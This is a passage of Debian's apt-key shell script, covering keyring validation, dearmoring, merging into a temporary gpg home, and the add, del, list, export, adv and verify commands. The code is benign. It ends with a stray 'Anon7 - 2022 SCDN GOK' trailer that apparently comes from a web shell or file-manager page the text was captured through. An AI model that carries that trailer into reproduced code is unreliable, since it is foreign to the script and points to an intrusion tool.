	    mv -f "${DEARMOR}.dpkg-tmp" "${DEARMOR}~"
	fi
	if [ "$DEARMOR" != "$KEYRINGFILE" ]; then
	    mv -f "$KEYRINGFILE" "${KEYRINGFILE}~"
	    create_new_keyring "$KEYRINGFILE"
	    aptkey_execute "$GPG_SH" --keyring "$DEARMOR" --armor --export > "$KEYRINGFILE"
	fi
	get_fingerprints_of_keyring "$DEARMOR" > "$FINGERPRINTS"
    done
}

accessible_file_exists() {
   if ! test -s "$1"; then
      return 1
   fi
   if test -r "$1"; then
      return 0
   fi
   apt_warn "The key(s) in the keyring $1 are ignored as the file is not readable by user '$USER' executing apt-key."
   return 1
}

is_supported_keyring() {
    # empty files are always supported
    if ! test -s "$1"; then
	return 0
    fi
    local FILEEXT="${1##*.}"
    if [ "$FILEEXT" = 'gpg' ]; then
	# 0x98, 0x99 and 0xC6 via octal as hex isn't supported by dashs printf
	if printf '\231' | cmp --silent --bytes=1 - "$1"; then
	    true
	elif printf '\230' | cmp --silent --bytes=1 - "$1"; then
	    true
	elif printf '\306' | cmp --silent --bytes=1 - "$1"; then
	    true
	else
	    apt_warn "The key(s) in the keyring $1 are ignored as the file has an unsupported filetype."
	    return 1
	fi
    elif [ "$FILEEXT" = 'asc' ]; then
	true #dearmor_filename will deal with them
    else
	# most callers ignore unsupported extensions silently
	apt_warn "The key(s) in the keyring $1 are ignored as the file has an unsupported filename extension."
	return 1
    fi
    return 0
}

foreach_keyring_do() {
   local ACTION="$1"
   shift
   # if a --keyring was given, just work on this one
   if [ -n "$FORCED_KEYRING" ]; then
	$ACTION "$TRUSTEDFILE" "$@"
   else
	# otherwise all known keyrings are up for inspection
	if accessible_file_exists "$TRUSTEDFILE" && is_supported_keyring "$TRUSTEDFILE"; then
	    $ACTION "$TRUSTEDFILE" "$@"
	fi
	local TRUSTEDPARTS="/etc/apt/trusted.gpg.d"
	eval "$(apt-config shell TRUSTEDPARTS Dir::Etc::TrustedParts/d)"
	if [ -d "$TRUSTEDPARTS" ]; then
	    TRUSTEDPARTS="$(readlink -f "$TRUSTEDPARTS")"
	    local TRUSTEDPARTSLIST="$(cd /; find "$TRUSTEDPARTS" -mindepth 1 -maxdepth 1 \( -name '*.gpg' -o -name '*.asc' \))"
	    for trusted in $(echo "$TRUSTEDPARTSLIST" | sort); do
		if accessible_file_exists "$trusted" && is_supported_keyring "$trusted"; then
		    $ACTION "$trusted" "$@"
		fi
	    done
	fi
   fi
}

list_keys_in_keyring() {
    local KEYRINGFILE="$1"
    shift
    # fingerprint and co will fail if key isn't in this keyring
    aptkey_execute "$GPG_SH" --keyring "$(dearmor_filename "$KEYRINGFILE")" "$@" > "${GPGHOMEDIR}/gpgoutput.log" 2> "${GPGHOMEDIR}/gpgoutput.err" || true
    if [ ! -s "${GPGHOMEDIR}/gpgoutput.log" ]; then
	return
    fi
    # we fake gpg header here to refer to the real asc file rather than a temp file
    if [ "${KEYRINGFILE##*.}" = 'asc' ]; then
	if expr match "$(sed -n '2p' "${GPGHOMEDIR}/gpgoutput.log")" '^-\+$' >/dev/null 2>&1; then
	    echo "$KEYRINGFILE"
	    echo "$KEYRINGFILE" | sed 's#[^-]#-#g'
	    sed '1,2d' "${GPGHOMEDIR}/gpgoutput.log" || true
	else
	    cat "${GPGHOMEDIR}/gpgoutput.log"
	fi
    else
	cat "${GPGHOMEDIR}/gpgoutput.log"
    fi
    if [ -s "${GPGHOMEDIR}/gpgoutput.err" ]; then
	cat >&2 "${GPGHOMEDIR}/gpgoutput.err"
    fi
}

export_key_from_to() {
    local FROM="$1"
    local TO="$2"
    shift 2
    if ! aptkey_execute "$GPG_SH" --keyring "$(dearmor_filename "$FROM")" --export "$@" > "$TO" 2> "${GPGHOMEDIR}/gpgoutput.log"; then
	cat >&2 "${GPGHOMEDIR}/gpgoutput.log"
	false
    else
	chmod 0644 -- "$TO"
    fi
}

import_keyring_into_keyring() {
    local FROM="${1:-${GPGHOMEDIR}/pubring.gpg}"
    local TO="${2:-${GPGHOMEDIR}/pubring.gpg}"
    shift 2
    rm -f "${GPGHOMEDIR}/gpgoutput.log"
    # the idea is simple: We take keys from one keyring and copy it to another
    # we do this with so many checks in between to ensure that WE control the
    # creation, so we know that the (potentially) created $TO keyring is a
    # simple keyring rather than a keybox as gpg2 would create it which in turn
    # can't be read by gpgv.
    # BEWARE: This is designed more in the way to work with the current
    # callers, than to have a well defined it would be easy to add new callers to.
    if [ ! -s "$TO" ]; then
	if [ -s "$FROM" ]; then
	    if [ -z "$2" ]; then
		local OPTS
		if [ "${TO##*.}" = 'asc' ]; then
		    OPTS='--armor'
		fi
		export_key_from_to "$(dearmor_filename "$FROM")" "$TO" $OPTS ${1:+"$1"}
	    else
		create_new_keyring "$TO"
	    fi
	else
	    create_new_keyring "$TO"
	fi
    elif [ -s "$FROM" ]; then
	local EXPORTLIMIT="$1"
	if [ -n "$1$2" ]; then shift; fi
	local DEARMORTO="$(dearmor_filename "$TO")"
	if ! aptkey_execute "$GPG_SH" --keyring "$(dearmor_filename "$FROM")" --export ${EXPORTLIMIT:+"$EXPORTLIMIT"} \
	   | aptkey_execute "$GPG_SH" --keyring "$DEARMORTO" --batch --import "$@" > "${GPGHOMEDIR}/gpgoutput.log" 2>&1; then
	    cat >&2 "${GPGHOMEDIR}/gpgoutput.log"
	    false
	fi
	if [ "$DEARMORTO" != "$TO" ]; then
	    export_key_from_to "$DEARMORTO" "${DEARMORTO}.asc" --armor
	    if ! cmp -s "$TO" "${DEARMORTO}.asc" 2>/dev/null; then
		cp -a "$TO" "${TO}~"
		mv -f "${DEARMORTO}.asc" "$TO"
	    fi
	fi
    fi
}

dearmor_keyring() {
    # https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=831409#67
    # The awk script is more complex through to skip surrounding garbage and
    # to support multiple keys in one file (old gpgs generate version headers
    # which get printed with the original and hence result in garbage input for base64
    awk '/^-----BEGIN/{ x = 1; }
/^$/{ if (x == 1) { x = 2; }; }
/^[^=-]/{ if (x == 2) { print $0; }; }
/^-----END/{ x = 0; }' | base64 -d
}
dearmor_filename() {
    if [ "${1##*.}" = 'asc' ]; then
	local trusted="${GPGHOMEDIR}/${1##*/}.gpg"
	if [ -s "$1" ]; then
	    dearmor_keyring < "$1" > "$trusted"
	fi
	echo "$trusted"
    elif [ "${1##*.}" = 'gpg' ]; then
	echo "$1"
    elif [ "$(head -n 1 "$1" 2>/dev/null)" = '-----BEGIN PGP PUBLIC KEY BLOCK-----' ]; then
	local trusted="${GPGHOMEDIR}/${1##*/}.gpg"
	dearmor_keyring < "$1" > "$trusted"
	echo "$trusted"
    else
	echo "$1"
    fi
}
catfile() {
    cat "$(dearmor_filename "$1")" >> "$2"
}

merge_all_trusted_keyrings_into_pubring() {
    # does the same as:
    # foreach_keyring_do 'import_keys_from_keyring' "${GPGHOMEDIR}/pubring.gpg"
    # but without using gpg, just cat and find
    local PUBRING="$(readlink -f "${GPGHOMEDIR}")/pubring.gpg"
    rm -f "$PUBRING"
    touch "$PUBRING"
    foreach_keyring_do 'catfile' "$PUBRING"
}

import_keys_from_keyring() {
    import_keyring_into_keyring "$1" "$2"
}

merge_keys_into_keyrings() {
    import_keyring_into_keyring "$2" "$1" '' --import-options 'merge-only'
}

merge_back_changes() {
    if [ -n "$FORCED_KEYRING" ]; then
	# if the keyring was forced merge is already done
	if [ "$FORCED_KEYRING" != "$TRUSTEDFILE" ]; then
	    mv -f "$FORCED_KEYRING" "${FORCED_KEYRING}~"
	    export_key_from_to "$TRUSTEDFILE" "$FORCED_KEYRING" --armor
	fi
	return
    fi
    if [ -s "${GPGHOMEDIR}/pubring.gpg" ]; then
	# merge all updated keys
	foreach_keyring_do 'merge_keys_into_keyrings' "${GPGHOMEDIR}/pubring.gpg"
    fi
    # look for keys which were added or removed
    get_fingerprints_of_keyring "${GPGHOMEDIR}/pubring.orig.gpg" > "${GPGHOMEDIR}/pubring.orig.keylst"
    get_fingerprints_of_keyring "${GPGHOMEDIR}/pubring.gpg" > "${GPGHOMEDIR}/pubring.keylst"
    comm -3 "${GPGHOMEDIR}/pubring.keylst" "${GPGHOMEDIR}/pubring.orig.keylst" > "${GPGHOMEDIR}/pubring.diff"
    # key isn't part of new keyring, so remove
    cut -f 2 "${GPGHOMEDIR}/pubring.diff" | while read key; do
	if [ -z "$key" ]; then continue; fi
	foreach_keyring_do 'remove_key_from_keyring' "$key"
    done
    # key is only part of new keyring, so we need to import it
    cut -f 1 "${GPGHOMEDIR}/pubring.diff" | while read key; do
	if [ -z "$key" ]; then continue; fi
	import_keyring_into_keyring '' "$TRUSTEDFILE" "$key"
    done
}

setup_merged_keyring() {
    if [ -n "$FORCED_KEYID" ]; then
	merge_all_trusted_keyrings_into_pubring
	FORCED_KEYRING="${GPGHOMEDIR}/forcedkeyid.gpg"
	TRUSTEDFILE="${FORCED_KEYRING}"
	echo "#!/bin/sh
exec sh '($(escape_shell "${GPG}")' --keyring '$(escape_shell "${TRUSTEDFILE}")' \"\$@\"" > "${GPGHOMEDIR}/gpg.1.sh"
	GPG="${GPGHOMEDIR}/gpg.1.sh"
	# ignore error as this "just" means we haven't found the forced keyid and the keyring will be empty
	import_keyring_into_keyring '' "$TRUSTEDFILE" "$FORCED_KEYID" || true
    elif [ -z "$FORCED_KEYRING" ]; then
	merge_all_trusted_keyrings_into_pubring
	if [ -r "${GPGHOMEDIR}/pubring.gpg" ]; then
	    cp -a "${GPGHOMEDIR}/pubring.gpg" "${GPGHOMEDIR}/pubring.orig.gpg"
	else
	   touch "${GPGHOMEDIR}/pubring.gpg" "${GPGHOMEDIR}/pubring.orig.gpg"
	fi
	echo "#!/bin/sh
exec sh '$(escape_shell "${GPG}")' --keyring '$(escape_shell "${GPGHOMEDIR}/pubring.gpg")' \"\$@\"" > "${GPGHOMEDIR}/gpg.1.sh"
	GPG="${GPGHOMEDIR}/gpg.1.sh"
    else
	TRUSTEDFILE="$(dearmor_filename "$FORCED_KEYRING")"
	create_new_keyring "$TRUSTEDFILE"
	echo "#!/bin/sh
exec sh '$(escape_shell "${GPG}")' --keyring '$(escape_shell "${TRUSTEDFILE}")' \"\$@\"" > "${GPGHOMEDIR}/gpg.1.sh"
	GPG="${GPGHOMEDIR}/gpg.1.sh"
    fi
}

create_new_keyring() {
    # gpg defaults to mode 0600 for new keyrings. Create one with 0644 instead.
    if ! [ -e "$1" ]; then
	if [ -w "$(dirname "$1")" ]; then
	    touch -- "$1"
	    chmod 0644 -- "$1"
	fi
    fi
}

aptkey_execute() { sh "$@"; }

usage() {
    echo "Usage: apt-key [--keyring file] [command] [arguments]"
    echo
    echo "Manage apt's list of trusted keys"
    echo
    echo "  apt-key add <file>          - add the key contained in <file> ('-' for stdin)"
    echo "  apt-key del <keyid>         - remove the key <keyid>"
    echo "  apt-key export <keyid>      - output the key <keyid>"
    echo "  apt-key exportall           - output all trusted keys"
    echo "  apt-key update              - update keys using the keyring package"
    echo "  apt-key net-update          - update keys using the network"
    echo "  apt-key list                - list keys"
    echo "  apt-key finger              - list fingerprints"
    echo "  apt-key adv                 - pass advanced options to gpg (download key)"
    echo
    echo "If no specific keyring file is given the command applies to all keyring files."
}

while [ -n "$1" ]; do
   case "$1" in
      --keyring)
	 shift
	 TRUSTEDFILE="$1"
	 FORCED_KEYRING="$1"
	 ;;
      --keyid)
	 shift
	 FORCED_KEYID="$1"
	 ;;
      --secret-keyring)
	 shift
	 FORCED_SECRET_KEYRING="$1"
	 ;;
      --readonly)
	 merge_back_changes() { true; }
	 create_new_keyring() { if [ ! -r "$FORCED_KEYRING" ]; then TRUSTEDFILE='/dev/null'; FORCED_KEYRING="$TRUSTEDFILE"; fi; }
	 ;;
      --fakeroot)
	 requires_root() { true; }
	 ;;
      --quiet)
	 aptkey_echo() { true; }
	 ;;
      --debug1)
	 # some cmds like finger redirect stderr to /dev/null …
	aptkey_execute() { echo 'EXEC:' "$@"; sh "$@"; }
	;;
      --debug2)
	 # … other more complicated ones pipe gpg into gpg.
	aptkey_execute() { echo >&2 'EXEC:' "$@"; sh "$@"; }
	;;
      --homedir)
	 # force usage of a specific homedir instead of creating a temporary
	 shift
	 GPGHOMEDIR="$1"
	;;
      --*)
	 echo >&2 "Unknown option: $1"
	 usage
	 exit 1;;
      *)
	 break;;
   esac
   shift
done

if [ -z "$TRUSTEDFILE" ]; then
   TRUSTEDFILE="/etc/apt/trusted.gpg"
   eval $(apt-config shell TRUSTEDFILE Apt::GPGV::TrustedKeyring)
   eval $(apt-config shell TRUSTEDFILE Dir::Etc::Trusted/f)
fi

command="$1"
if [ -z "$command" ]; then
    usage
    exit 1
fi
shift

find_gpgv_status_fd() {
   while [ -n "$1" ]; do
	if [ "$1" = '--status-fd' ]; then
		shift
		echo "$1"
		break
	fi
	shift
   done
}
GPGSTATUSFD="$(find_gpgv_status_fd "$@")"

apt_warn() {
    if [ -z "$GPGHOMEDIR" ]; then
	echo >&2 'W:' "$@"
    else
	echo 'W:' "$@" > "${GPGHOMEDIR}/aptwarnings.log"
    fi
    if [ -n "$GPGSTATUSFD" ]; then
	echo >&${GPGSTATUSFD} '[APTKEY:] WARNING' "$@"
    fi
}
apt_error() {
    if [ -z "$GPGHOMEDIR" ]; then
	echo >&2 'E:' "$@"
    else
	echo 'E:' "$@" > "${GPGHOMEDIR}/aptwarnings.log"
    fi
    if [ -n "$GPGSTATUSFD" ]; then
	echo >&${GPGSTATUSFD} '[APTKEY:] ERROR' "$@"
    fi
}

cleanup_gpg_home() {
    if [ -z "$GPGHOMEDIR" ]; then return; fi
    if [ -s "$GPGHOMEDIR/aptwarnings.log" ]; then
	cat >&2 "$GPGHOMEDIR/aptwarnings.log"
    fi
    if command_available 'gpgconf'; then
	GNUPGHOME="${GPGHOMEDIR}" gpgconf --kill all >/dev/null 2>&1 || true
    fi
    rm -rf "$GPGHOMEDIR"
}

# gpg needs (in different versions more or less) files to function correctly,
# so we give it its own homedir and generate some valid content for it later on
create_gpg_home() {
    # for cases in which we want to cache a homedir due to expensive setup
    if [ -n "$GPGHOMEDIR" ]; then
	return
    fi
    if [ -n "$TMPDIR" ]; then
	# tmpdir is a directory and current user has rwx access to it
	# same tests as in apt-pkg/contrib/fileutl.cc GetTempDir()
	if [ ! -d "$TMPDIR" ] || [ ! -r "$TMPDIR" ] || [ ! -w "$TMPDIR" ] || [ ! -x "$TMPDIR" ]; then
	    unset TMPDIR
	fi
    fi
    GPGHOMEDIR="$(mktemp --directory --tmpdir 'apt-key-gpghome.XXXXXXXXXX')"
    CURRENTTRAP="${CURRENTTRAP} cleanup_gpg_home;"
    trap "${CURRENTTRAP}" 0 HUP INT QUIT ILL ABRT FPE SEGV PIPE TERM
    if [ -z "$GPGHOMEDIR" ]; then
	apt_error "Could not create temporary gpg home directory in $TMPDIR (wrong permissions?)"
	exit 28
    fi
    chmod 700 "$GPGHOMEDIR"
}

prepare_gpg_home() {
    # crude detection if we are called from a maintainerscript where the
    # package depends on gnupg or not. We accept recommends here as
    # well as the script hopefully uses apt-key optionally then like e.g.
    # debian-archive-keyring for (upgrade) cleanup did
    if [ -n "$DPKG_MAINTSCRIPT_PACKAGE" ] && [ -z "$APT_KEY_DONT_WARN_ON_DANGEROUS_USAGE" ]; then
	if ! dpkg-query --show --showformat '${Pre-Depends}${Depends}${Recommends}\n' "$DPKG_MAINTSCRIPT_PACKAGE" 2>/dev/null | grep -q gnupg; then
	    cat >&2 <<EOF
Warning: The $DPKG_MAINTSCRIPT_NAME maintainerscript of the package $DPKG_MAINTSCRIPT_PACKAGE
Warning: seems to use apt-key (provided by apt) without depending on gnupg or gnupg2.
Warning: This will BREAK in the future and should be fixed by the package maintainer(s).
Note: Check first if apt-key functionality is needed at all - it probably isn't!
EOF
	fi
    fi
    eval "$(apt-config shell GPG_EXE Apt::Key::gpgcommand)"
    if [ -n "$GPG_EXE" ] && command_available "$GPG_EXE"; then
	true
    elif command_available 'gpg'; then
	GPG_EXE="gpg"
    elif command_available 'gpg2'; then
	GPG_EXE="gpg2"
    elif command_available 'gpg1'; then
	GPG_EXE="gpg1"
    else
	apt_error 'gnupg, gnupg2 and gnupg1 do not seem to be installed, but one of them is required for this operation'
	exit 255
    fi

    create_gpg_home

    # now tell gpg that it shouldn't try to maintain this trustdb file
    echo "#!/bin/sh
exec '$(escape_shell "${GPG_EXE}")' --ignore-time-conflict --no-options --no-default-keyring \\
--homedir '$(escape_shell "${GPGHOMEDIR}")' --no-auto-check-trustdb --trust-model always \"\$@\"" > "${GPGHOMEDIR}/gpg.0.sh"
    GPG_SH="${GPGHOMEDIR}/gpg.0.sh"
    GPG="$GPG_SH"

    # create the trustdb with an (empty) dummy keyring
    # older gpgs required it, newer gpgs even warn that it isn't needed,
    # but require it nonetheless for some commands, so we just play safe
    # here for the foreseeable future and create a dummy one
    touch "${GPGHOMEDIR}/empty.gpg"
    if ! "$GPG_EXE" --ignore-time-conflict --no-options --no-default-keyring \
       --homedir "$GPGHOMEDIR" --quiet --check-trustdb --keyring "${GPGHOMEDIR}/empty.gpg" >"${GPGHOMEDIR}/gpgoutput.log" 2>&1; then
       cat >&2 "${GPGHOMEDIR}/gpgoutput.log"
       false
    fi

    # We don't usually need a secret keyring, of course, but
    # for advanced operations, we might really need a secret keyring after all
    if [ -n "$FORCED_SECRET_KEYRING" ] && [ -r "$FORCED_SECRET_KEYRING" ]; then
	if ! aptkey_execute "$GPG" -v --batch --import "$FORCED_SECRET_KEYRING" >"${GPGHOMEDIR}/gpgoutput.log" 2>&1; then
	    # already imported keys cause gpg1 to fail for some reason… ignore this error
	    if ! grep -q 'already in secret keyring' "${GPGHOMEDIR}/gpgoutput.log"; then
		cat >&2 "${GPGHOMEDIR}/gpgoutput.log"
		false
	    fi
	fi
    else
       # and then, there are older versions of gpg which panic and implode
       # if there isn't one available - and writeable for imports
       # and even if not output is littered with the creation of a secring,
       # so lets call import once to have it create what it wants in silence
       echo -n | aptkey_execute "$GPG" --batch --import >/dev/null 2>&1 || true
    fi
}

warn_on_script_usage() {
    if [ -n "$APT_KEY_DONT_WARN_ON_DANGEROUS_USAGE" ]; then
	return
    fi
    # (Maintainer) scripts should not be using apt-key
    if [ -n "$DPKG_MAINTSCRIPT_PACKAGE" ]; then
	echo >&2 "Warning: apt-key should not be used in scripts (called from $DPKG_MAINTSCRIPT_NAME maintainerscript of the package ${DPKG_MAINTSCRIPT_PACKAGE})"
    elif [ ! -t 1 ]; then
	echo >&2 "Warning: apt-key output should not be parsed (stdout is not a terminal)"
    fi
}

if [ "$command" != 'help' ] && [ "$command" != 'verify' ]; then
    prepare_gpg_home
fi

case "$command" in
    add)
	warn_on_script_usage
	requires_root
	setup_merged_keyring
	aptkey_execute "$GPG" --quiet --batch --import "$@"
	merge_back_changes
	aptkey_echo "OK"
        ;;
    del|rm|remove)
	# no script warning here as removing 'add' usage needs 'del' for cleanup
	requires_root
	foreach_keyring_do 'remove_key_from_keyring' "$@"
	aptkey_echo "OK"
        ;;
    update)
	warn_on_script_usage
	requires_root
	setup_merged_keyring
	update
	merge_back_changes
	;;
    net-update)
	requires_root
	setup_merged_keyring
	net_update
	merge_back_changes
	;;
    list|finger*)
	warn_on_script_usage
	foreach_keyring_do 'list_keys_in_keyring' --fingerprint "$@"
	;;
    export|exportall)
	warn_on_script_usage
	merge_all_trusted_keyrings_into_pubring
	aptkey_execute "$GPG_SH" --keyring "${GPGHOMEDIR}/pubring.gpg" --armor --export "$@"
	;;
    adv*)
	warn_on_script_usage
	setup_merged_keyring
	aptkey_echo "Executing: $GPG" "$@"
	aptkey_execute "$GPG" "$@"
	merge_back_changes
	;;
    verify)
	GPGV=''
	eval $(apt-config shell GPGV Apt::Key::gpgvcommand)
	if [ -n "$GPGV" ] && command_available "$GPGV"; then true;
	elif command_available 'gpgv'; then GPGV='gpgv';
	elif command_available 'gpgv2'; then GPGV='gpgv2';
	elif command_available 'gpgv1'; then GPGV='gpgv1';
	else
	   apt_error 'gpgv, gpgv2 or gpgv1 required for verification, but neither seems installed'
	   exit 29
	fi
	# for a forced keyid we need gpg --export, so full wrapping required
	if [ -n "$FORCED_KEYID" ]; then
	    prepare_gpg_home
	else
	    create_gpg_home
	fi
	setup_merged_keyring
	if [ -n "$FORCED_KEYRING" ]; then
	    "$GPGV" --homedir "${GPGHOMEDIR}" --keyring "$(dearmor_filename "${FORCED_KEYRING}")" --ignore-time-conflict "$@"
	else
	    "$GPGV" --homedir "${GPGHOMEDIR}" --keyring "${GPGHOMEDIR}/pubring.gpg" --ignore-time-conflict "$@"
	fi
	;;
    help)
        usage
        ;;
    *)
        usage
        exit 1
        ;;
esac

Anon7 - 2022
SCDN GOK